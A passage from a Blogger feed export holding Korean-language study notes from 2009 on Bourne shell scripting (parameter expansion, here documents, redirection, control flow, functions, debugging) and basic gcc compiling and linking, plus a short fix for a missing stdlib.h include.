bar로 설정하고 이 값을 대신 반환&lt;br /&gt;${param:?default} &amp;lt= param: default를 출력하고, param이 존재하지 않거나 널이면 명령 중지&lt;br /&gt;${param:+default} &amp;lt= param이 존재하고 널이 아니면 default를 반환&lt;br /&gt;${#param} &amp;lt= param의 길이를 준다&lt;br /&gt;${param%word} &amp;lt= 끝에서부터 word에 일치하는 param의 가장 짧은 부분을 제거하고 나머지 반환&lt;br /&gt;${param%%word} &amp;lt= 끝에서부터 workd에 일치하는 param의 가장 긴 부분을 제거하고 나머지를 반환&lt;br /&gt;${param#word} &amp;lt= 처음부터 word에 일치하는 param의 가장 짮은 부분을 제거하고 나머지를 반환&lt;br /&gt;${param##word} &amp;lt= 처음부터 word에 일치하는 가장 긴 부분을 제거하고 나머지를 반환&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;unset foo                            &amp;lt= foo 메모리 삭제&lt;br /&gt;echo ${foo:-bar}                     &amp;lt= 기본으로 foo에 bar 넣고 출력&lt;br /&gt;foo=fud                              &amp;lt= foo에 fud 넣기&lt;br /&gt;echo ${foo:-bar}                     &amp;lt= foo에 fud가 있기 때문에 fud 출력&lt;br /&gt;foo=/usr/bin/X11/startx              &amp;lt= foo에 /usr/bin/X11/startx 입력&lt;br /&gt;echo ${foo#*/}                       &amp;lt= foo에서 처음부터 오직 왼쪽 */ 제거하고 출력&lt;br /&gt;echo ${foo##*/}                      &amp;lt= foo에서 처음부터 */ 찾아서 최대한 많이 제거하고 출력&lt;br /&gt;bar=/usr/local/etc/local/networks&lt;br /&gt;echo ${bar%local*}                   &amp;lt= bar에서 끝부터 local이 오면 중지&lt;br /&gt;echo ${bar%%local*}                  &amp;lt= bar에서 끝부터 계속 local까지 비교 후 중지&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;bar&lt;br /&gt;fud&lt;br /&gt;usr/bin/X11/startx&lt;br /&gt;startx&lt;br /&gt;/usr/local/etc/&lt;br /&gt;/usr/&lt;br /&gt;&lt;br /&gt;모든 *.gif파일을 *.jpg로 바꾸기&lt;br /&gt;#!/bin/sh&lt;br /&gt;for image in *.gif&lt;br /&gt;do&lt;br /&gt; cjpeg $image &gt; ${image%%gif}jpg&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;히어 도규먼트(&amp;lt&amp;lt) &amp;lt= 실제로는 명령이 스크립트로부터 입력을 받고 있음에도 파일이나 키보드로부터 입력을 받아들이는 것처럼 실행(echo를 사용 안할때 도 사용하거나 ed(Text 편집기)명령을 제어함)&lt;br /&gt;#!/bin/sh&lt;br /&gt;cat &amp;lt&amp;lt!FUNKY!&lt;br /&gt;hello&lt;br /&gt;this is a here&lt;br /&gt;document&lt;br /&gt;!FUNKY!&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;hello&lt;br /&gt;this is a here&lt;br /&gt;document&lt;br /&gt;&lt;br /&gt;히어 도규먼트 두번째 예제&lt;br /&gt;파일명 a_text_file&lt;br /&gt;That is line 1&lt;br /&gt;That is line 2&lt;br /&gt;That is line 3&lt;br /&gt;That is line 4&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;ed a_text_file &amp;lt&amp;lt!FunkyStuff!           &amp;lt= 히어 도큐먼트 시작&lt;br /&gt;3                                       &amp;lt= a_text_file 3번째 줄로 가기&lt;br /&gt;d                                       &amp;lt= a_text_file 해당 위치에서 줄 삭제&lt;br /&gt;.,\$s/is/was/                           &amp;lt= 3번째 행이 삭제되었기 때문에 기존 4번째 행에서 is를 was로 변경&lt;br /&gt;w                                       &amp;lt= 저장&lt;br /&gt;q                                       &amp;lt= 나가기&lt;br /&gt;!FunkyStuff!                            &amp;lt= 히어 도큐먼트 끝&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;That is line 1&lt;br /&gt;That is line 2&lt;br /&gt;That was line 4&lt;br /&gt;&lt;br /&gt;디버그 하기&lt;br /&gt;sh -n &amp;lt스크립트&gt; &amp;lt= 문법 검사&lt;br /&gt;sh -v &amp;lt스크립트&gt; &amp;lt= 소스 보기&lt;br /&gt;sh -x &amp;lt스크립트&gt; &amp;lt= 출력값마다 출력을 위한 소스를 보여줌(가장 좋다)&lt;br /&gt;trap 'echo 변수명 = $변수명' EXIT &amp;lt= 종료될때 변수값 출력&lt;br /&gt;&lt;br /&gt;그래픽으로 보여주기 &amp;lt= dialog 유틸을 사용(yum install dialog)&lt;br /&gt;diaglog --msgbox "Hello World" 9 18&lt;br /&gt;결과는 사이즈가 넓이 9 높이 18인 Hello World라고 다이얼로그 박스가 나옴&lt;br /&gt;--더이상의 그래픽 부분은 생략함--&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3909279336721775035?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3909279336721775035/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/3day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3909279336721775035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3909279336721775035'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/3day-study.html' title='3Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5916524038944497230</id><published>2009-02-27T01:00:00.000-08:00</published><updated>2009-02-27T01:02:52.549-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><category scheme='http://www.blogger.com/atom/ns#' term='Shell Script'/><title type='text'>2Day Study</title><content type='html'>2Day Study&lt;br /&gt;[[[[[Shell Script 관련]]]]]&lt;br /&gt;Shell 종류&lt;br /&gt;sh(Bourne) =&gt; 유닉스 초기 버전의 원본 쉘&lt;br /&gt;csh, tcsh, zsh =&gt; C 쉘 및 파생형 쉘 버클리 유닉스에서 사용됨&lt;br /&gt;ksh, pdksh =&gt; 상당수의 상용 유직스의 기본 쉘&lt;br /&gt;bash =&gt; GNU 리눅스 기본 쉘 Ksh와 유사함&lt;br /&gt;&lt;br /&gt;명령어 결과 파일 출력&lt;br /&gt;ls -l &gt; lsoutput.txt &lt;= New&lt;br /&gt;ls -l &gt;&gt; lsoutput.txt &lt;= Append&lt;br /&gt;&lt;br /&gt;에러 정보가 화면에 나타나지 못하게 방지하며 에러 정보를 버릴때(표준 에러 파일 설명자 2)&lt;br /&gt;ls -l 2&gt; lsoutput.txt&lt;br /&gt;&lt;br /&gt;kill 명령 결과를 killout에 저장, 에러는 killerr에 저장&lt;br /&gt;kill -HUP 1234 &gt;killout 2&gt;killerr&lt;br /&gt;&lt;br /&gt;양 출력을 하나의 파일로 저장&lt;br /&gt;kill -1 1234 &gt;killouterr 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;표준에러 저장 안 하기&lt;br /&gt;kill -1 1234 &gt;/dev/null 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;입력 리다이렉트&lt;br /&gt;more &lt; longtext&lt;br /&gt;&lt;br /&gt;프로세서끼리 연결하기(ps의 출력을 받아서 알파벳순으로 정렬 후 uniq를 이용하여 프로세스만 추출하고 grep -v 를 이용하여 sh를 프로세서를 제거하고 more를 이용해서 페이지 단위로 보게함)&lt;br /&gt;ps -xo comm | sort | uniq | grep -v sh | more&lt;br /&gt;&lt;br /&gt;ps의 출력을 정렬 후 pssort에 저장&lt;br /&gt;ps | sort &gt; pssort&lt;br /&gt;&lt;br /&gt;문자열에서 POSIX를 포함하고 있는 파일 이름을 출력&lt;br /&gt;more 'grep -l POSIX *'&lt;br /&gt;more $(grep -l POSIX *)&lt;br /&gt;grep -l POSIX * | more&lt;br /&gt;&lt;br /&gt;Shell Script FOR문&lt;br /&gt;#!/bin/sh &lt;= 시스템에게 이 줄의 인자가 이 파일을 실행시키기 위한 프로그램임을 지정(문자 32개 이하로 지정 구 버전 유닉스들이 지원 못 할 수도 있기 때문)&lt;br /&gt;for file in *&lt;br /&gt;do &lt;br /&gt;  if grep -q POSIX $file&lt;br /&gt;  then&lt;br /&gt;   echo $file&lt;br /&gt;  fi&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;exit 0 &lt;= 쉘 프로그래밍에서 0은 성공을 의미한다. 스크립트 자체만으로는 어떠한 실패도 지각하지 못함으로 항상 0을 반환한다&lt;br /&gt;&lt;br /&gt;쉘 스크립트의 기본 선언 변수는 문자열로 간주됨&lt;br /&gt;쉘에서 $를 변수 이름 앞에 붙여서 변수의 내용을 액세스 할 수 있음&lt;br /&gt;echo를 통해서 변수값을 화면에서 검사 가능(예: echo $data)&lt;br /&gt;= 기호의 양쪽에는 어떠한 공백도 없어야 함&lt;br /&gt;&lt;br /&gt;쓰기권한 제거&lt;br /&gt;chown root ./filename&lt;br /&gt;chgrp root ./filename&lt;br /&gt;chmod 755  ./filename&lt;br /&gt;chmod u=rwx,go=rx ./filename&lt;br /&gt;&lt;br /&gt;사용자값 입력받기&lt;br /&gt;read inputmsg&lt;br /&gt;read 후 문자열 비교시 "로 꼭 싸주자&lt;br /&gt;if [ $data = "yes" ] =&gt; if [ "$data = "yes" ]&lt;br /&gt;&lt;br /&gt;쉘에서 ",',\ 차이점&lt;br /&gt;#!/bin/sh&lt;br /&gt;myvar="Hi there"&lt;br /&gt;echo $myvar&lt;br /&gt;echo "$myvar" &lt;= 값으로 인식&lt;br /&gt;echo '$myvar" &lt;= 문자열로 인식&lt;br /&gt;echo \$myvar &lt; \을 앞에 붙여서 $ 기호의 특수한 의미를 제거&lt;br /&gt;echo Enter some text&lt;br /&gt;read myvar&lt;br /&gt;echo '$myvar' now equals $myvar&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;Hi there&lt;br /&gt;Hi there&lt;br /&gt;$myvar&lt;br /&gt;$myvar&lt;br /&gt;Enter some text&lt;br /&gt;Hello World &lt;= 키보드 입력을 받음&lt;br /&gt;$myvar now equals Hello World&lt;br /&gt;&lt;br /&gt;사용자의 환경 보기 명령어&lt;br /&gt;env&lt;br /&gt;&lt;br /&gt;환경변수 설정하는 명령어&lt;br /&gt;export&lt;br /&gt;&lt;br /&gt;환경변수&lt;br /&gt;$HOME =&gt; 현재 사용자 홈 디렉토리&lt;br /&gt;$PATH =&gt; PATH 디렉토리&lt;br /&gt;$PS1 &lt;= 명령어 프롬프트(예: [\u@\h \W]$는 사용자, 컴퓨터 이름, 현재 디렉토리를 보여줌&lt;br /&gt;$PS2 &lt;= 두번째 프롬프트(예: &gt;)&lt;br /&gt;$IFS =&gt; 입력 필드 구분자&lt;br /&gt;$0 =&gt; 쉘 스크립트의 이름&lt;br /&gt;$# =&gt; 전달된 매개변수의 갯수&lt;br /&gt;$$ =&gt; 쉘 스크립느의 프로세스 ID&lt;br /&gt;&lt;br /&gt;매개변수를 이용하는 방법&lt;br /&gt;$ IFS=' '&lt;br /&gt;$ set foo bar bam&lt;br /&gt;$ echo "$@"&lt;br /&gt;foo bar bam&lt;br /&gt;$ echo "$*"&lt;br /&gt;foobarbam&lt;br /&gt;$ unset IFS&lt;br /&gt;$ echo "$*"&lt;br /&gt;foo bar bam&lt;br /&gt;일반적으로 $@가 많이 쓰임&lt;br /&gt;&lt;br /&gt;매개 변수와 환경 변수 실습 (try_var 로 저장)&lt;br /&gt;#!/bin/sh&lt;br /&gt;salutation="Hello"&lt;br /&gt;echo $salutation&lt;br /&gt;echo "$0"&lt;br /&gt;echo "$2"&lt;br /&gt;echo "$1"&lt;br /&gt;echo "$*"&lt;br /&gt;echo "$HOME"&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;Hello&lt;br /&gt;./try_bar&lt;br /&gt;bar&lt;br /&gt;foo&lt;br /&gt;foo bar baz&lt;br /&gt;/home/rick&lt;br /&gt;&lt;br /&gt;쉘의 부울 검사를 할 때 쓰이는 명령어&lt;br /&gt;test 혹은 [ &lt;= [는 test이 축약형(도움말 보기는 help test)&lt;br /&gt;ls -l /usr/bin/[&lt;br /&gt;&lt;br /&gt;파일 존재 확인 스크립트(IF문 사용하기)&lt;br /&gt;if test -f fred.c&lt;br /&gt;then&lt;br /&gt;...&lt;br /&gt;elif&lt;br /&gt;...&lt;br /&gt;else&lt;br /&gt;...&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ -f fred .c ]&lt;br /&gt;then&lt;br /&gt;...&lt;br /&gt;elif&lt;br /&gt;...&lt;br /&gt;else&lt;br /&gt;...&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ -f .tcsshrc ]; then ... ; elif ... ; else ... ; fi&lt;br /&gt;위 3개의 if은 같은 스크립트다([ 괄호와 확인할 조건 사이에 공백을 반드시 넣어야 함)([ 명령을 사용하여 변수 내용을 테스트 한다. if 명령이 결과를 계산하고 다른 줄의 코드를 실행함)&lt;br /&gt;&lt;br /&gt;출력값 응용(if와 elif 조건까지도 통과 된다면 else 출력 후 스크립트값을 1로 종료한다. 이 값을 사용하여 스크립트가 성공하였는지 검사를 할 수 있다)&lt;br /&gt;if [ -f fred .c ];&lt;br /&gt;then&lt;br /&gt;...&lt;br /&gt;elif&lt;br /&gt;...&lt;br /&gt;else&lt;br /&gt;...&lt;br /&gt;exit 1&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;문자열 비교&lt;br /&gt;str1 = str2 &lt;= 두 문자가 같으면 true&lt;br /&gt;str1 != str2 &lt;= 두 문자가 같이 않으면 true&lt;br /&gt;-n str1 &lt;= str1이 널(빈 문자열)이 아니면 true&lt;br /&gt;-z str1 &lt;= 문자열이 널(빈 문자열)이면 true&lt;br /&gt;&lt;br /&gt;산술 비교&lt;br /&gt;exp1 -eq exp2 &lt;= 두 표현식이 같으면 true&lt;br /&gt;-ne &lt;= 두 표현식이 같지 않으면 true&lt;br /&gt;-gt &lt;= 왼쪽이 크면 true&lt;br /&gt;-ge &lt;= 왼쪽이 크거나 같으면 true&lt;br /&gt;-lt &lt;= 왼쪽이 작으면 true&lt;br /&gt;-le &lt;= 왼쪽이 작거나 같으면 true&lt;br /&gt;! exp &lt;= exp가 false면 true이고 그 역도 성립&lt;br /&gt;&lt;br /&gt;파일 비교&lt;br /&gt;-d file &lt;= file이 디렉토리면 true&lt;br /&gt;-e &lt;= file이 존재하면 true(-e는 유닉스에서 잘 안 될수도 있기 때문에 -f가 흔히 사용됨)&lt;br /&gt;-f &lt;= 보통파일이면 true&lt;br /&gt;-g &lt;= set-group-id가 file이 설정되면 true(set-gid는 프로그램에게 자신의 그룹의 권한을 줌)&lt;br /&gt;-r &lt;= 파일을 읽을 수 있으면 true&lt;br /&gt;-s &lt;= 파일 크기가 0이 아니면 true&lt;br /&gt;-u &lt;= set-user-id가 file에 설정되면 true(set-user는 프로그램에게 자신의 사용자가 아닌 소유자의 권한을 줌)&lt;br /&gt;-w &lt;= 파일에 쓸 수 있으면 true&lt;br /&gt;-x &lt;= 파일이 실행 가능하면 true&lt;br /&gt;&lt;br /&gt;echo 호환여부&lt;br /&gt;echo -e는 모든 시스템에서 지원은 안 됨&lt;br /&gt;bash는 echo -n을 지원하여 read시 줄 바꿈을 없애줌&lt;br /&gt;&lt;br /&gt;FOR문 &lt;= 지저분한다 다른 언어랑 좀 틀리다 ㅡㅡ; 버려!&lt;br /&gt;#!/bin/sh&lt;br /&gt;for foo in bar1 bar2 bar3&lt;br /&gt;do&lt;br /&gt; echo $foo&lt;br /&gt;done&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는&lt;br /&gt;bar1&lt;br /&gt;bar2&lt;br /&gt;bar3&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;for foo in "bar1 bar2 bar3"&lt;br /&gt;do&lt;br /&gt; echo $foo&lt;br /&gt;done&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는(bar1 bar2 bar3를 한 문자로 인식)&lt;br /&gt;bar1 bar2 bar3&lt;br /&gt;&lt;br /&gt;WHILE문&lt;br /&gt;문자비교&lt;br /&gt;#!/bin/sh&lt;br /&gt;while [ "$data" = "true" ]&lt;br /&gt;do&lt;br /&gt;...&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;숫자비교 &lt;= 우리가 일반적으로 쓰는 FOR문 대체&lt;br /&gt;#!/bin/sh&lt;br /&gt;data=1&lt;br /&gt;while [ "$data" -le 20 ]&lt;br /&gt;do&lt;br /&gt;...&lt;br /&gt;data=$(($data+1))&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;UNTIL문(명령줄에서 전달한 로그인 이름을 가진 사용자가 로그온 할 때 작동하도록 알람을 설정)&lt;br /&gt;#!/bin/sh&lt;br /&gt;until who | grep "$1" &gt; /dev/null&lt;br /&gt;do&lt;br /&gt; sleep 60&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;echo "**** $1 has just logged in ****"&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;CASE문(다른 언어에서는 switch문 이라고도 함)&lt;br /&gt;case "$data" in&lt;br /&gt; yes | zz ) echo "yes or zz";;&lt;br /&gt; no ) echo "no";;&lt;br /&gt; y ) echo "y";;&lt;br /&gt; n ) echo "n";;&lt;br /&gt; p* ) echo "p char start string";;&lt;br /&gt; * ) echo "etc default";;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;AND 리스트&lt;br /&gt;touch file_one&lt;br /&gt;rm -f file_two&lt;br /&gt;if [ -f file_one ] &amp;&amp; echo "hello" &amp;&amp; [ -f file_two ] &amp;&amp; echo " there"&lt;br /&gt;then&lt;br /&gt; echo "in fi"&lt;br /&gt;else&lt;br /&gt; echo "in else"&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는(file_one는 있으므로 hello를 출력하고 file_two는 없으므로 there를 출력하지 않고 else이 in else를 출력함)&lt;br /&gt;hello&lt;br /&gt;in else&lt;br /&gt;&lt;br /&gt;OR 리스트&lt;br /&gt;rm -f file_one&lt;br /&gt;if [ -f file_one ] || echo "hello" || echo "there"&lt;br /&gt;then&lt;br /&gt; echo "in if"&lt;br /&gt;else&lt;br /&gt; echo "in else"&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과는(file_one가 없지만 OR 조건이므로 hello를 출력하고 in if를 출력함&lt;br /&gt;hello&lt;br /&gt;in if&lt;br /&gt;&lt;br /&gt;SUB함수 쓰는 방법&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;foo() {&lt;br /&gt; echo "Function"&lt;br /&gt;}&lt;br /&gt;echo "script start"&lt;br /&gt;foo&lt;br /&gt;echo "script end"&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과값&lt;br /&gt;script start&lt;br /&gt;Function&lt;br /&gt;script end&lt;br /&gt;&lt;br /&gt;SUB함수에서 지역변수는 local data="hahaha" 로 선언함&lt;br /&gt;&lt;br /&gt;SUB함수 결과값 return 하기&lt;br /&gt;#!/bin/sh&lt;br /&gt;yes_or_no() {&lt;br /&gt; echo "Is your name $* ?"&lt;br /&gt; while true&lt;br /&gt; do&lt;br /&gt;  echo -n "Enter yes or no: "&lt;br /&gt;  read x&lt;br /&gt;  case "$x" in&lt;br /&gt;  y | yes ) return 0;;&lt;br /&gt;  n | no  ) return 1;;&lt;br /&gt;  *       ) echo "Answer yes or no"&lt;br /&gt;  esac&lt;br /&gt; done&lt;br /&gt;}&lt;br /&gt;echo "Rriginal parameters are $*"&lt;br /&gt;if yes_or_no "$1" &lt;= Rick Neil에서 첫번째 Rick만 넘김&lt;br /&gt;then&lt;br /&gt; echo "Hi $1, nice name"&lt;br /&gt;else&lt;br /&gt; echo "Naver mind"&lt;br /&gt;fi&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;결과값은&lt;br /&gt;$ ./my_name Rick Neil&lt;br /&gt;Original parameters are Rick Neil&lt;br /&gt;Is your name Rick ?&lt;br /&gt;Enter yes or no: yes&lt;br /&gt;Hi Rick, nice name&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5916524038944497230?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5916524038944497230/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/2day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5916524038944497230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5916524038944497230'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/2day-study.html' title='2Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-7769922773192440942</id><published>2009-02-27T00:58:00.000-08:00</published><updated>2009-02-27T00:59:57.743-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>1Day Study</title><content type='html'>&lt;span style="font-family: arial;"&gt;1Day Study&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[[[[[리눅스와 C 기본]]]]]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/bin: 바이너리, 시스템을 부팅하는 데 사용되는 프로그램&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin: 사용자 바이너리, 사용자가 사용할 수 있는 표준 프로그램&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/local/bin: 로컬 바이너리, 설치에 사용되는 프로그램&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;실행파일 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o hello hello.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;헤더파일 디렉토리 지정&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -I/usr/openwin/include fred.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;라이브러리를 지정하여 실행파일 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o fred fred.c /usr/lib/libm.a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o fred fred.c -lm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o fred fred.c -L/usr/lib/ -lm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;테스트 오브젝트 파일 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -c bill.c fred.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;lib.h 파일 작성 후 테스트 오브젝트 파일의 펑션들 선언 &lt;= 컴파일러가 에러를 찾을 수 있도록 도와줌&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;void bill(char *);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;void fred(int);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;오브젝트 파일을 링크해서 실행파일 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -c program.c &lt;= #include "lib.h" 선언된 파일&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o program program.o bill.o&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;오브젝트 파일을 정적 라이브러리로 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;ar crv libfoo.a bill.o fred.o&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;버클릭 유닉스계열을 위해서 목차표로 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;ranlib libfoo.a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;정적 라이브러리를 이용한 실행파일 만들기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o program program.o libfoo.a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;gcc -o program program.o -L. -lfoo &lt;= -lfoo는 libfoo.a 또는 libfoo.so를 참조함&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;사용한 함수명 파악하기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;mn ./libfoo.a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;mn ./program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;공유 라이브러리는 확자가가 .so 임&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;사용되는 공유 라이브러리 파악하기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;ldd program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;도움말보기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;man은 간략하게 보기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;info는 자세하게 보기(info를 위한 도움말 ctrl+H)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-7769922773192440942?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/7769922773192440942/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/1day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7769922773192440942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7769922773192440942'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/1day-study.html' title='1Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3251914632373465043</id><published>2009-02-26T18:11:00.000-08:00</published><updated>2009-02-26T18:19:22.245-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><title type='text'>warning: incompatible implicit declaration of built-in function 'exit'</title><content type='html'>&lt;span style="font-family:arial;"&gt;warning: incompatible implicit declaration of built-in function 'exit'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;reason &lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;stdlib.h&lt;/span&gt;&lt;span style="font-family:arial;"&gt; not inlude&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#include &amp;lt stdlib.h&gt;&lt;/span&gt; &lt;= append&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3251914632373465043?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3251914632373465043/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/warning-incompatible-implicit.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3251914632373465043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3251914632373465043'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/warning-incompatible-implicit.html' title='warning: incompatible implicit declaration of built-in function &apos;exit&apos;'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3549181699098580172</id><published>2009-02-26T17:37:00.000-08:00</published><updated>2009-02-26T17:42:24.276-08:00</updated><category 